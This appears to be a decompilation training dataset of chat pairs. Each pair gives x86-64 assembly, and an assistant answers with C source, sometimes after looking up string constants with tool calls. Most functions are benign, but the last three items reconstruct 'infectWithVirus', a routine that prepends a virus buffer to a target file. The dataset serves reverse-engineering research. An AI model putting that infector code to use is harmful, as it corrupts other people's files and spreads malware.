ylfeng/ReF-Decompile-dataset huggingface dataset:
user: 请显示与下面列出的汇编代码相匹配的C语言实现:

```asm
<Selecao>:
  endbr64
  push   %r13
  mov    %esi,%r13d
  push   %r12
  push   %rbp
  push   %rbx
  cmp    $0x1,%esi
  jle    L43
  mov    $0x1,%r9d
  lea    0x4(%rdi),%rsi
  mov    %rdi,%rbx
  mov    (%rsi),%ebp
  lea    0x1(%r9),%r11d
  lea    0x1(%r13),%r10d
  cmp    %r11d,%r13d
  jl     L26
  xchg   %ax,%ax
L4:
  lea    0x4(%rsi),%r12
  mov    %ebp,%edi
  mov    %r11d,%edx
  mov    %r12,%rax
  jmp    L44
  xchg   %ax,%ax
L78:
  movslq %r9d,%rcx
  add    $0x1,%edx
  add    $0x4,%rax
  lea    (%rbx,%rcx,4),%r8
  cmp    %edx,%r10d
  je     L16
L44:
  mov    (%rax),%ecx
  mov    %rax,%r8
  cmp    %edi,%ecx
  jge    L78
  mov    %edx,%r9d
  add    $0x1,%edx
  mov    %ecx,%edi
  add    $0x4,%rax
  cmp    %edx,%r10d
  jne    L44
L16:
  mov    %ebp,(%r8)
  mov    %edi,(%rsi)
  mov    %r12,%rsi
  cmp    %r11d,%r13d
  je     L43
L52:
  mov    %r11d,%r9d
  mov    (%rsi),%ebp
  lea    0x1(%r9),%r11d
  cmp    %r11d,%r13d
  jge    L4
L26:
  add    $0x4,%rsi
  jmp    L52
  xchg   %ax,%ax
L43:
  pop    %rbx
  pop    %rbp
  pop    %r12
  pop    %r13
  ret
```

assistant: ```c
void Selecao(int *vetor, int tam) {
  int x, i, j, Min;
  for (i = 1; i <= tam - 1; i++) {
    Min = i;
    for (j = i + 1; j <= tam; j++)
      if (vetor[j] < vetor[Min])
        Min = j;
    x = vetor[Min];
    vetor[Min] = vetor[i];
    vetor[i] = x;
  }
}
```
user: What is the c source code of the assembly code below?

```asm
<Selecao>:
  endbr64
  push   %r13
  mov    %esi,%r13d
  push   %r12
  push   %rbp
  push   %rbx
  cmp    $0x1,%esi
  jle    L18
  mov    $0x1,%r9d
  lea    0x4(%rdi),%rsi
  mov    %rdi,%rbx
  mov    (%rsi),%ebp
  lea    0x1(%r9),%r11d
  lea    0x1(%r13),%r10d
  cmp    %r11d,%r13d
  jl     L56
  xchg   %ax,%ax
L62:
  lea    0x4(%rsi),%r12
  mov    %ebp,%edi
  mov    %r11d,%edx
  mov    %r12,%rax
  jmp    L32
  xchg   %ax,%ax
L41:
  movslq %r9d,%rcx
  add    $0x1,%edx
  add    $0x4,%rax
  lea    (%rbx,%rcx,4),%r8
  cmp    %edx,%r10d
  je     L59
L32:
  mov    (%rax),%ecx
  mov    %rax,%r8
  cmp    %edi,%ecx
  jge    L41
  mov    %edx,%r9d
  add    $0x1,%edx
  mov    %ecx,%edi
  add    $0x4,%rax
  cmp    %edx,%r10d
  jne    L32
L59:
  mov    %ebp,(%r8)
  mov    %edi,(%rsi)
  mov    %r12,%rsi
  cmp    %r11d,%r13d
  je     L18
L30:
  mov    %r11d,%r9d
  mov    (%rsi),%ebp
  lea    0x1(%r9),%r11d
  cmp    %r11d,%r13d
  jge    L62
L56:
  add    $0x4,%rsi
  jmp    L30
  xchg   %ax,%ax
L18:
  pop    %rbx
  pop    %rbp
  pop    %r12
  pop    %r13
  ret
```

assistant: ```c
void Selecao(int *vetor, int tam) {
  int x, i, j, Min;
  for (i = 1; i <= tam - 1; i++) {
    Min = i;
    for (j = i + 1; j <= tam; j++)
      if (vetor[j] < vetor[Min])
        Min = j;
    x = vetor[Min];
    vetor[Min] = vetor[i];
    vetor[i] = x;
  }
}
```
user: 下面的汇编指令对应的C源代码是什么：

```asm
<ftnstop>:
  endbr64
  push   %rbp
  mov    %rsp,%rbp
  sub    $0x10,%rsp
  mov    %rdi,-0x8(%rbp)
  cmpq   $0x0,-0x8(%rbp)
  je     L7
  lea    D3(%rip),%rax
  mov    %rax,%rdi
  call   <mexErrMsgTxt@plt>
L7:
  mov    $0x0,%edi
  call   <exit@plt>
  nop
  leave
  ret
```

tool_calls: name: unpack_data
arguments: data_tag: D3
type_guessed: string

tool: D3: exiting Ranlib with error

assistant: ```c
void ftnstop(char *msg) {
  if (msg != NULL)
    mexErrMsgTxt("exiting Ranlib with error");
  exit(0);
}
```
user: 这段汇编代码用C语言表示是什么样的?

```asm
<ftnstop>:
  endbr64
  sub    $0x8,%rsp
  test   %rdi,%rdi
  je     L8
  lea    D2(%rip),%rdi
  call   <mexErrMsgTxt@plt>
L8:
  mov    $0x0,%edi
  call   <exit@plt>
  add    $0x8,%rsp
  ret
```

tool_calls: name: parse_data
arguments: data_label: D2
data_type: string

tool: D2: exiting Ranlib with error

assistant: ```c
void ftnstop(char *msg) {
  if (msg != NULL)
    mexErrMsgTxt("exiting Ranlib with error");
  exit(0);
}
```
user: 下面的汇编指令对应的C源代码是什么：

```asm
<ftnstop>:
  endbr64
  test   %rdi,%rdi
  je     L9
  sub    $0x8,%rsp
  lea    D2(%rip),%rdi
  call   <mexErrMsgTxt@plt>
  xor    %edi,%edi
  add    $0x8,%rsp
  jmp    1070 <exit@plt>
  nopl   0x0(%rax)
L9:
  xor    %edi,%edi
  jmp    1070 <exit@plt>
```

tool_calls: name: read_data
arguments: data_label: D2
data_type: string

tool: D2: exiting Ranlib with error

assistant: ```c
void ftnstop(char *msg) {
  if (msg != NULL)
    mexErrMsgTxt("exiting Ranlib with error");
  exit(0);
}
```
user: Converte this assembly snippet into its equivalent C code:

```asm
<ftnstop>:
  endbr64
  test   %rdi,%rdi
  je     L8
  sub    $0x8,%rsp
  lea    D9(%rip),%rdi
  call   <mexErrMsgTxt@plt>
  xor    %edi,%edi
  add    $0x8,%rsp
  jmp    1070 <exit@plt>
  nopl   0x0(%rax)
L8:
  xor    %edi,%edi
  jmp    1070 <exit@plt>
```

tool_calls: name: extract_symbolic_data
arguments: data_tag: D9
datatype: string

tool: D9: exiting Ranlib with error

assistant: ```c
void ftnstop(char *msg) {
  if (msg != NULL)
    mexErrMsgTxt("exiting Ranlib with error");
  exit(0);
}
```
user: 请将以下的汇编代码转换成C语言代码：

```asm
<endian_big32>:
  endbr64
  push   %rbp
  mov    %rsp,%rbp
  push   %rbx
  sub    $0x28,%rsp
  mov    %rdi,-0x28(%rbp)
  mov    %esi,-0x2c(%rbp)
  movl   $0x0,-0x14(%rbp)
  mov    -0x2c(%rbp),%eax
  mov    %eax,%edi
  call   <endian_32hi16@plt>
  mov    %eax,-0x14(%rbp)
  mov    -0x28(%rbp),%rax
  lea    0x4(%rax),%rbx
  mov    -0x14(%rbp),%eax
  mov    %eax,%edi
  call   <endian_16lo8@plt>
  mov    %eax,(%rbx)
  mov    -0x14(%rbp),%eax
  mov    %eax,%edi
  call   <endian_16hi8@plt>
  mov    -0x28(%rbp),%rdx
  mov    %eax,(%rdx)
  mov    -0x28(%rbp),%rax
  lea    0x8(%rax),%rbx
  mov    -0x2c(%rbp),%eax
  mov    %eax,%edi
  call   <endian_32hi8@plt>
  mov    %eax,(%rbx)
  mov    -0x28(%rbp),%rax
  lea    0xc(%rax),%rbx
  mov    -0x2c(%rbp),%eax
  mov    %eax,%edi
  call   <endian_32lo8@plt>
  mov    %eax,(%rbx)
  nop
  mov    -0x8(%rbp),%rbx
  leave
  ret
```

assistant: ```c
void endian_big32(uint8_t ptr[4], uint_least32_t dword) {
  uint_least16_t word = 0;
  word = endian_32hi16(dword);
  ptr[1] = endian_16lo8(word);
  ptr[0] = endian_16hi8(word);
  ptr[2] = endian_32hi8(dword);
  ptr[3] = endian_32lo8(dword);
}
```
user: 提供的汇编代码用C语言表示会是什么样子：

```asm
<endian_big32>:
  endbr64
  push   %r12
  push   %rbp
  push   %rbx
  mov    %rdi,%rbx
  mov    %esi,%ebp
  mov    %esi,%edi
  call   <endian_32hi16@plt>
  mov    %eax,%r12d
  mov    %eax,%edi
  call   <endian_16lo8@plt>
  mov    %eax,0x4(%rbx)
  mov    %r12d,%edi
  call   <endian_16hi8@plt>
  mov    %eax,(%rbx)
  mov    %ebp,%edi
  call   <endian_32hi8@plt>
  mov    %eax,0x8(%rbx)
  mov    %ebp,%edi
  call   <endian_32lo8@plt>
  mov    %eax,0xc(%rbx)
  pop    %rbx
  pop    %rbp
  pop    %r12
  ret
```

assistant: ```c
void endian_big32(uint8_t ptr[4], uint_least32_t dword) {
  uint_least16_t word = 0;
  word = endian_32hi16(dword);
  ptr[1] = endian_16lo8(word);
  ptr[0] = endian_16hi8(word);
  ptr[2] = endian_32hi8(dword);
  ptr[3] = endian_32lo8(dword);
}
```
user: What would the C source look like for the assembly code provided here:

```asm
<endian_big32>:
  endbr64
  push   %r12
  push   %rbp
  mov    %esi,%ebp
  push   %rbx
  mov    %rdi,%rbx
  mov    %esi,%edi
  call   <endian_32hi16@plt>
  mov    %eax,%edi
  mov    %eax,%r12d
  call   <endian_16lo8@plt>
  mov    %r12d,%edi
  mov    %eax,0x4(%rbx)
  call   <endian_16hi8@plt>
  mov    %ebp,%edi
  mov    %eax,(%rbx)
  call   <endian_32hi8@plt>
  mov    %ebp,%edi
  mov    %eax,0x8(%rbx)
  call   <endian_32lo8@plt>
  mov    %eax,0xc(%rbx)
  pop    %rbx
  pop    %rbp
  pop    %r12
  ret
```

assistant: ```c
void endian_big32(uint8_t ptr[4], uint_least32_t dword) {
  uint_least16_t word = 0;
  word = endian_32hi16(dword);
  ptr[1] = endian_16lo8(word);
  ptr[0] = endian_16hi8(word);
  ptr[2] = endian_32hi8(dword);
  ptr[3] = endian_32lo8(dword);
}
```
user: 下面的汇编指令对应的C源代码是什么：

```asm
<endian_big32>:
  endbr64
  push   %r12
  push   %rbp
  mov    %esi,%ebp
  push   %rbx
  mov    %rdi,%rbx
  mov    %esi,%edi
  call   <endian_32hi16@plt>
  mov    %eax,%edi
  mov    %eax,%r12d
  call   <endian_16lo8@plt>
  mov    %r12d,%edi
  mov    %eax,0x4(%rbx)
  call   <endian_16hi8@plt>
  mov    %ebp,%edi
  mov    %eax,(%rbx)
  call   <endian_32hi8@plt>
  mov    %ebp,%edi
  mov    %eax,0x8(%rbx)
  call   <endian_32lo8@plt>
  mov    %eax,0xc(%rbx)
  pop    %rbx
  pop    %rbp
  pop    %r12
  ret
```

assistant: ```c
void endian_big32(uint8_t ptr[4], uint_least32_t dword) {
  uint_least16_t word = 0;
  word = endian_32hi16(dword);
  ptr[1] = endian_16lo8(word);
  ptr[0] = endian_16hi8(word);
  ptr[2] = endian_32hi8(dword);
  ptr[3] = endian_32lo8(dword);
}
```
user: 下面的汇编指令对应的C源代码是什么：

```asm
<main>:
  endbr64
  push   %rbp
  mov    %rsp,%rbp
  sub    $0x10,%rsp
  mov    %edi,-0x4(%rbp)
  mov    %rsi,-0x10(%rbp)
  mov    $0x0,%eax
  call   <test_basic@plt>
  mov    $0x0,%eax
  call   <test_xtc@plt>
  mov    $0x0,%eax
  call   <test_trr@plt>
  mov    $0x0,%eax
  leave
  ret
```

assistant: ```c
int main(int argc, char *argv[]) {
  test_basic();
  test_xtc();
  test_trr();
  return 0;
}
```
user: 这段汇编代码用C语言表示是什么样的？

```asm
<main>:
  endbr64
  sub    $0x8,%rsp
  mov    $0x0,%eax
  call   <test_basic@plt>
  mov    $0x0,%eax
  call   <test_xtc@plt>
  mov    $0x0,%eax
  call   <test_trr@plt>
  mov    $0x0,%eax
  add    $0x8,%rsp
  ret
```

assistant: ```c
int main(int argc, char *argv[]) {
  test_basic();
  test_xtc();
  test_trr();
  return 0;
}
```
user: Translate the below assembly code into C programming language:

```asm
<main>:
  endbr64
  sub    $0x8,%rsp
  xor    %eax,%eax
  call   <test_basic@plt>
  xor    %eax,%eax
  call   <test_xtc@plt>
  xor    %eax,%eax
  call   <test_trr@plt>
  xor    %eax,%eax
  add    $0x8,%rsp
  ret
```

assistant: ```c
int main(int argc, char *argv[]) {
  test_basic();
  test_xtc();
  test_trr();
  return 0;
}
```
user: 请显示与下面列出的汇编代码相匹配的C语言实现：

```asm
<main>:
  endbr64
  sub    $0x8,%rsp
  xor    %eax,%eax
  call   <test_basic@plt>
  xor    %eax,%eax
  call   <test_xtc@plt>
  xor    %eax,%eax
  call   <test_trr@plt>
  xor    %eax,%eax
  add    $0x8,%rsp
  ret
```

assistant: ```c
int main(int argc, char *argv[]) {
  test_basic();
  test_xtc();
  test_trr();
  return 0;
}
```
user: Demonstrate the C code that generates the assembly output below:

```asm
<main>:
  endbr64
  push   %rbp
  mov    %rsp,%rbp
  mov    $0x0,%eax
  call   <simple@plt>
  mov    $0x0,%eax
  call   <init@plt>
  mov    $0x0,%eax
  call   <resize@plt>
  mov    $0x0,%eax
  call   <sizing@plt>
  mov    $0x0,%eax
  call   <null@plt>
  mov    $0x0,%eax
  call   <invalid@plt>
  mov    $0x0,%eax
  call   <internal@plt>
  lea    D7(%rip),%rax
  mov    %rax,%rdi
  call   <puts@plt>
  mov    $0x0,%eax
  pop    %rbp
  ret
```

tool_calls: name: retrieve_data
arguments: tag: D7
data_type: string

tool: D7: 
overall testing success!

assistant: ```c
int main(void) {
  simple();
  init();
  resize();
  sizing();
  null();
  invalid();
  internal();
  puts("\noverall testing success!");
  return 0;
}
```
user: 请将这段汇编代码片段转换成等效的C代码:

```asm
<main>:
  endbr64
  sub    $0x8,%rsp
  mov    $0x0,%eax
  call   <simple@plt>
  mov    $0x0,%eax
  call   <init@plt>
  mov    $0x0,%eax
  call   <resize@plt>
  mov    $0x0,%eax
  call   <sizing@plt>
  mov    $0x0,%eax
  call   <null@plt>
  mov    $0x0,%eax
  call   <invalid@plt>
  mov    $0x0,%eax
  call   <internal@plt>
  lea    D2(%rip),%rdi
  call   <puts@plt>
  mov    $0x0,%eax
  add    $0x8,%rsp
  ret
```

tool_calls: name: parse_data
arguments: data_label: D2
type_infered: string

tool: D2: 
overall testing success!

assistant: ```c
int main(void) {
  simple();
  init();
  resize();
  sizing();
  null();
  invalid();
  internal();
  puts("\noverall testing success!");
  return 0;
}
```
user: 提供的汇编代码用C语言表示会是什么样子：

```asm
<main>:
  endbr64
  sub    $0x8,%rsp
  xor    %eax,%eax
  call   <simple@plt>
  xor    %eax,%eax
  call   <init@plt>
  xor    %eax,%eax
  call   <resize@plt>
  xor    %eax,%eax
  call   <sizing@plt>
  xor    %eax,%eax
  call   <null@plt>
  xor    %eax,%eax
  call   <invalid@plt>
  xor    %eax,%eax
  call   <internal@plt>
  lea    D5(%rip),%rdi
  call   <puts@plt>
  xor    %eax,%eax
  add    $0x8,%rsp
  ret
```

tool_calls: name: read_data
arguments: label: D5
data_type: string

tool: D5: 
overall testing success!

assistant: ```c
int main(void) {
  simple();
  init();
  resize();
  sizing();
  null();
  invalid();
  internal();
  puts("\noverall testing success!");
  return 0;
}
```
user: Translate the below assembly code into C programming language:

```asm
<main>:
  endbr64
  sub    $0x8,%rsp
  xor    %eax,%eax
  call   <simple@plt>
  xor    %eax,%eax
  call   <init@plt>
  xor    %eax,%eax
  call   <resize@plt>
  xor    %eax,%eax
  call   <sizing@plt>
  xor    %eax,%eax
  call   <null@plt>
  xor    %eax,%eax
  call   <invalid@plt>
  xor    %eax,%eax
  call   <internal@plt>
  lea    D3(%rip),%rdi
  call   <puts@plt>
  xor    %eax,%eax
  add    $0x8,%rsp
  ret
```

tool_calls: name: parse_data
arguments: data_tag: D3
datatype: string

tool: D3: 
overall testing success!

assistant: ```c
int main(void) {
  simple();
  init();
  resize();
  sizing();
  null();
  invalid();
  internal();
  puts("\noverall testing success!");
  return 0;
}
```
user: Demonstrate the C code that generates the assembly output below:

```asm
<strToDouble>:
  endbr64
  push   %rbp
  mov    %rsp,%rbp
  sub    $0x20,%rsp
  mov    %rdi,-0x18(%rbp)
  mov    %rsi,-0x20(%rbp)
  mov    %fs:0x28,%rax
  mov    %rax,-0x8(%rbp)
  xor    %eax,%eax
  lea    -0x10(%rbp),%rdx
  mov    -0x18(%rbp),%rax
  mov    %rdx,%rsi
  mov    %rax,%rdi
  call   <strtod@plt>
  movq   %xmm0,%rax
  mov    -0x20(%rbp),%rdx
  mov    %rax,(%rdx)
  mov    -0x10(%rbp),%rax
  sub    -0x18(%rbp),%rax
  mov    -0x8(%rbp),%rdx
  sub    %fs:0x28,%rdx
  je     L9
  call   <__stack_chk_fail@plt>
L9:
  leave
  ret
```

assistant: ```c
size_t strToDouble(const char *str, double *val) {
  char *endptr;
  *val = strtod(str, &endptr);
  return endptr - str;
}
```
user: Demonstrate the C code that generates the assembly output below:

```asm
<strToDouble>:
  endbr64
  push   %rbp
  push   %rbx
  sub    $0x18,%rsp
  mov    %rdi,%rbx
  mov    %rsi,%rbp
  mov    %fs:0x28,%rax
  mov    %rax,0x8(%rsp)
  xor    %eax,%eax
  mov    %rsp,%rsi
  call   <strtod@plt>
  movsd  %xmm0,0x0(%rbp)
  mov    (%rsp),%rax
  sub    %rbx,%rax
  mov    0x8(%rsp),%rdx
  sub    %fs:0x28,%rdx
  jne    L0
  add    $0x18,%rsp
  pop    %rbx
  pop    %rbp
  ret
L0:
  call   <__stack_chk_fail@plt>
```

assistant: ```c
size_t strToDouble(const char *str, double *val) {
  char *endptr;
  *val = strtod(str, &endptr);
  return endptr - str;
}
```
user: 请显示与下面列出的汇编代码相匹配的C语言实现：

```asm
<strToDouble>:
  endbr64
  push   %rbp
  mov    %rsi,%rbp
  push   %rbx
  mov    %rdi,%rbx
  sub    $0x18,%rsp
  mov    %fs:0x28,%rax
  mov    %rax,0x8(%rsp)
  xor    %eax,%eax
  mov    %rsp,%rsi
  call   <strtod@plt>
  mov    (%rsp),%rax
  movsd  %xmm0,0x0(%rbp)
  sub    %rbx,%rax
  mov    0x8(%rsp),%rdx
  sub    %fs:0x28,%rdx
  jne    L3
  add    $0x18,%rsp
  pop    %rbx
  pop    %rbp
  ret
L3:
  call   <__stack_chk_fail@plt>
```

assistant: ```c
size_t strToDouble(const char *str, double *val) {
  char *endptr;
  *val = strtod(str, &endptr);
  return endptr - str;
}
```
user: What is the c source code of the assembly code below?

```asm
<strToDouble>:
  endbr64
  push   %rbp
  mov    %rsi,%rbp
  push   %rbx
  mov    %rdi,%rbx
  sub    $0x18,%rsp
  mov    %fs:0x28,%rax
  mov    %rax,0x8(%rsp)
  xor    %eax,%eax
  mov    %rsp,%rsi
  call   <strtod@plt>
  mov    (%rsp),%rax
  movsd  %xmm0,0x0(%rbp)
  sub    %rbx,%rax
  mov    0x8(%rsp),%rdx
  sub    %fs:0x28,%rdx
  jne    L4
  add    $0x18,%rsp
  pop    %rbx
  pop    %rbp
  ret
L4:
  call   <__stack_chk_fail@plt>
```

assistant: ```c
size_t strToDouble(const char *str, double *val) {
  char *endptr;
  *val = strtod(str, &endptr);
  return endptr - str;
}
```
user: 提供的汇编代码用C语言表示会是什么样子：

```asm
<infectWithVirus>:
  endbr64
  push   %r15
  push   %r14
  push   %r13
  push   %r12
  push   %rbp
  push   %rbx
  sub    $0x28,%rsp
  mov    %rdi,0x8(%rsp)
  mov    %rsi,%r15
  mov    %edx,%r14d
  mov    %fs:0x28,%rax
  mov    %rax,0x18(%rsp)
  xor    %eax,%eax
  movb   $0x0,0x13(%rsp)
  mov    D12(%rip),%rax
  mov    (%rax),%esi
  call   <open@plt>
  mov    %eax,%ebx
  cmp    $0xffffffff,%eax
  je     L70
  lea    0x14(%rsp),%rsi
  mov    %eax,%edi
  call   <fstat@plt>
  mov    %eax,%ebp
  cmp    $0xffffffff,%eax
  je     L88
  mov    0x14(%rsp),%edi
  call   <malloc@plt>
  mov    %rax,%r13
  mov    %rax,%rbp
  lea    0x13(%rsp),%r12
  jmp    L66
L88:
  mov    %ebx,%edi
  call   <close@plt>
  mov    %ebp,%ebx
  jmp    L70
L74:
  mov    $0x1,%edx
  mov    %r12,%rsi
  mov    %rbp,%rdi
  call   <memcpy@plt>
  add    $0x1,%rbp
L66:
  mov    $0x1,%edx
  mov    %r12,%rsi
  mov    %ebx,%edi
  call   <read@plt>
  cmp    $0x1,%eax
  je     L74
  mov    %ebx,%edi
  call   <close@plt>
  mov    D3(%rip),%rax
  mov    (%rax),%esi
  mov    D4(%rip),%rax
  or     (%rax),%esi
  mov    0x8(%rsp),%rdi
  call   <open@plt>
  mov    %eax,%ebx
  cmp    $0xffffffff,%eax
  je     L70
  test   %r14d,%r14d
  jle    L52
  mov    %r15,%rbp
  lea    -0x1(%r14),%eax
  lea    0x1(%r15,%rax,1),%r12
L38:
  mov    $0x1,%edx
  mov    %rbp,%rsi
  mov    %ebx,%edi
  call   <write@plt>
  add    $0x1,%rbp
  cmp    %r12,%rbp
  jne    L38
L52:
  cmpl   $0x0,0x14(%rsp)
  jle    L107
  mov    $0x0,%ebp
L15:
  lea    0x0(%r13,%rbp,1),%rsi
  mov    $0x1,%edx
  mov    %ebx,%edi
  call   <write@plt>
  add    $0x1,%rbp
  cmp    %ebp,0x14(%rsp)
  jg     L15
L107:
  mov    %ebx,%edi
  call   <close@plt>
  mov    %r13,%rdi
  call   <free@plt>
  mov    $0x0,%ebx
L70:
  mov    0x18(%rsp),%rax
  sub    %fs:0x28,%rax
  jne    L108
  mov    %ebx,%eax
  add    $0x28,%rsp
  pop    %rbx
  pop    %rbp
  pop    %r12
  pop    %r13
  pop    %r14
  pop    %r15
  ret
L108:
  call   <__stack_chk_fail@plt>
```

assistant: ```c
int infectWithVirus(char *argv, char *virusBuf, int virusLen) {
  char *fileBuf;
  char offBuf = 0x00;
  int fd, i = 0;
  struct stat fstatInfo;
  if ((fd = open(argv, O_RDONLY)) == -1) {
    return -1;
  }
  if (fstat(fd, &fstatInfo) == -1) {
    close(fd);
    return -1;
  }
  fileBuf = malloc(sizeof(char) * fstatInfo.st_size);
  while (read(fd, &offBuf, 1) == 1) {
    memcpy(&fileBuf[i++], &offBuf, 1);
  }
  close(fd);
  if ((fd = open(argv, O_RDWR | O_TRUNC)) == -1) {
    return -1;
  }
  for (i = 0; i < virusLen; i++) {
    write(fd, &virusBuf[i], 1);
  }
  for (i = 0; i < fstatInfo.st_size; i++) {
    write(fd, &fileBuf[i], 1);
  }
  close(fd);
  free(fileBuf);
  return 0;
}
```
user: 请从给定的汇编指令推导出C源代码:

```asm
<infectWithVirus>:
  endbr64
  push   %r15
  mov    %edx,%r15d
  push   %r14
  mov    %rdi,%r14
  push   %r13
  push   %r12
  push   %rbp
  push   %rbx
  sub    $0x28,%rsp
  mov    %rsi,0x8(%rsp)
  mov    %fs:0x28,%rax
  mov    %rax,0x18(%rsp)
  xor    %eax,%eax
  mov    D3(%rip),%rax
  movb   $0x0,0x13(%rsp)
  mov    (%rax),%esi
  call   <open@plt>
  cmp    $0xffffffff,%eax
  je     L14
  lea    0x14(%rsp),%rsi
  mov    %eax,%edi
  mov    %eax,%r12d
  call   <fstat@plt>
  mov    %eax,%r13d
  cmp    $0xffffffff,%eax
  je     L1
  mov    0x14(%rsp),%edi
  lea    0x13(%rsp),%rbp
  call   <malloc@plt>
  mov    %rax,%r13
  mov    %rax,%rbx
  jmp    L21
  nopw   0x0(%rax,%rax,1)
L34:
  mov    %rbx,%rdi
  mov    $0x1,%edx
  mov    %rbp,%rsi
  add    $0x1,%rbx
  call   <memcpy@plt>
L21:
  mov    $0x1,%edx
  mov    %rbp,%rsi
  mov    %r12d,%edi
  call   <read@plt>
  cmp    $0x1,%eax
  je     L34
  mov    %r12d,%edi
  call   <close@plt>
  mov    D6(%rip),%rax
  mov    %r14,%rdi
  mov    (%rax),%esi
  mov    D16(%rip),%rax
  or     (%rax),%esi
  call   <open@plt>
  mov    %eax,%ebp
  cmp    $0xffffffff,%eax
  je     L14
  test   %r15d,%r15d
  jle    L10
  mov    0x8(%rsp),%rbx
  lea    -0x1(%r15),%eax
  lea    0x1(%rbx,%rax,1),%r12
  nopl   0x0(%rax)
L91:
  mov    %rbx,%rsi
  mov    $0x1,%edx
  mov    %ebp,%edi
  add    $0x1,%rbx
  call   <write@plt>
  cmp    %r12,%rbx
  jne    L91
L10:
  mov    0x14(%rsp),%eax
  test   %eax,%eax
  jle    L114
  xor    %ebx,%ebx
  nopw   0x0(%rax,%rax,1)
L80:
  lea    0x0(%r13,%rbx,1),%rsi
  mov    $0x1,%edx
  mov    %ebp,%edi
  add    $0x1,%rbx
  call   <write@plt>
  cmp    %ebx,0x14(%rsp)
  jg     L80
L114:
  mov    %ebp,%edi
  call   <close@plt>
  mov    %r13,%rdi
  xor    %r13d,%r13d
  call   <free@plt>
L111:
  mov    0x18(%rsp),%rax
  sub    %fs:0x28,%rax
  jne    L65
  add    $0x28,%rsp
  mov    %r13d,%eax
  pop    %rbx
  pop    %rbp
  pop    %r12
  pop    %r13
  pop    %r14
  pop    %r15
  ret
L14:
  mov    $0xffffffff,%r13d
  jmp    L111
L1:
  mov    %r12d,%edi
  call   <close@plt>
  jmp    L111
L65:
  call   <__stack_chk_fail@plt>
```

assistant: ```c
int infectWithVirus(char *argv, char *virusBuf, int virusLen) {
  char *fileBuf;
  char offBuf = 0x00;
  int fd, i = 0;
  struct stat fstatInfo;
  if ((fd = open(argv, O_RDONLY)) == -1) {
    return -1;
  }
  if (fstat(fd, &fstatInfo) == -1) {
    close(fd);
    return -1;
  }
  fileBuf = malloc(sizeof(char) * fstatInfo.st_size);
  while (read(fd, &offBuf, 1) == 1) {
    memcpy(&fileBuf[i++], &offBuf, 1);
  }
  close(fd);
  if ((fd = open(argv, O_RDWR | O_TRUNC)) == -1) {
    return -1;
  }
  for (i = 0; i < virusLen; i++) {
    write(fd, &virusBuf[i], 1);
  }
  for (i = 0; i < fstatInfo.st_size; i++) {
    write(fd, &fileBuf[i], 1);
  }
  close(fd);
  free(fileBuf);
  return 0;
}
```
user: Converte this assembly snippet into its equivalent C code:

```asm
<infectWithVirus>:
  endbr64
  push   %r15
  mov    %edx,%r15d
  push   %r14
  mov    %rdi,%r14
  push   %r13
  push   %r12
  push   %rbp
  push   %rbx
  sub    $0x28,%rsp
  mov    %rsi,0x8(%rsp)
  mov    %fs:0x28,%rax
  mov    %rax,0x18(%rsp)
  xor    %eax,%eax
  mov    D10(%rip),%rax
  movb   $0x0,0x13(%rsp)
  mov    (%rax),%esi
  call   <open@plt>
  cmp    $0xffffffff,%eax
  je     L87
  lea    0x14(%rsp),%rsi
  mov    %eax,%edi
  mov    %eax,%r12d
  call   <fstat@plt>
  mov    %eax,%r13d
  cmp    $0xffffffff,%eax
  je     L1
  mov    0x14(%rsp),%edi
  lea    0x13(%rsp),%rbp
  call   <malloc@plt>
  mov    %rax,%r13
  mov    %rax,%rbx
  jmp    L44
  nopw   0x0(%rax,%rax,1)
L115:
  mov    %rbx,%rdi
  mov    $0x1,%edx
  mov    %rbp,%rsi
  add    $0x1,%rbx
  call   <memcpy@plt>
L44:
  mov    $0x1,%edx
  mov    %rbp,%rsi
  mov    %r12d,%edi
  call   <read@plt>
  cmp    $0x1,%eax
  je     L115
  mov    %r12d,%edi
  call   <close@plt>
  mov    D26(%rip),%rax
  mov    %r14,%rdi
  mov    (%rax),%esi
  mov    D9(%rip),%rax
  or     (%rax),%esi
  call   <open@plt>
  mov    %eax,%ebp
  cmp    $0xffffffff,%eax
  je     L87
  test   %r15d,%r15d
  jle    L96
  mov    0x8(%rsp),%rbx
  lea    -0x1(%r15),%eax
  lea    0x1(%rbx,%rax,1),%r12
  nopl   0x0(%rax)
L60:
  mov    %rbx,%rsi
  mov    $0x1,%edx
  mov    %ebp,%edi
  add    $0x1,%rbx
  call   <write@plt>
  cmp    %r12,%rbx
  jne    L60
L96:
  mov    0x14(%rsp),%eax
  test   %eax,%eax
  jle    L90
  xor    %ebx,%ebx
  nopw   0x0(%rax,%rax,1)
L62:
  lea    0x0(%r13,%rbx,1),%rsi
  mov    $0x1,%edx
  mov    %ebp,%edi
  add    $0x1,%rbx
  call   <write@plt>
  cmp    %ebx,0x14(%rsp)
  jg     L62
L90:
  mov    %ebp,%edi
  call   <close@plt>
  mov    %r13,%rdi
  xor    %r13d,%r13d
  call   <free@plt>
L107:
  mov    0x18(%rsp),%rax
  sub    %fs:0x28,%rax
  jne    L46
  add    $0x28,%rsp
  mov    %r13d,%eax
  pop    %rbx
  pop    %rbp
  pop    %r12
  pop    %r13
  pop    %r14
  pop    %r15
  ret
L87:
  mov    $0xffffffff,%r13d
  jmp    L107
L1:
  mov    %r12d,%edi
  call   <close@plt>
  jmp    L107
L46:
  call   <__stack_chk_fail@plt>
```

assistant: ```c
int infectWithVirus(char *argv, char *virusBuf, int virusLen) {
  char *fileBuf;
  char offBuf = 0x00;
  int fd, i = 0;
  struct stat fstatInfo;
  if ((fd = open(argv, O_RDONLY)) == -1) {
    return -1;
  }
  if (fstat(fd, &fstatInfo) == -1) {
    close(fd);
    return -1;
  }
  fileBuf = malloc(sizeof(char) * fstatInfo.st_size);
  while (read(fd, &offBuf, 1) == 1) {
    memcpy(&fileBuf[i++], &offBuf, 1);
  }
  close(fd);
  if ((fd = open(argv, O_RDWR | O_TRUNC)) == -1) {
    return -1;
  }
  for (i = 0; i < virusLen; i++) {
    write(fd, &virusBuf[i], 1);
  }
  for (i = 0; i < fstatInfo.st_size; i++) {
    write(fd, &fileBuf[i], 1);
  }
  close(fd);
  free(fileBuf);
  return 0;
}
```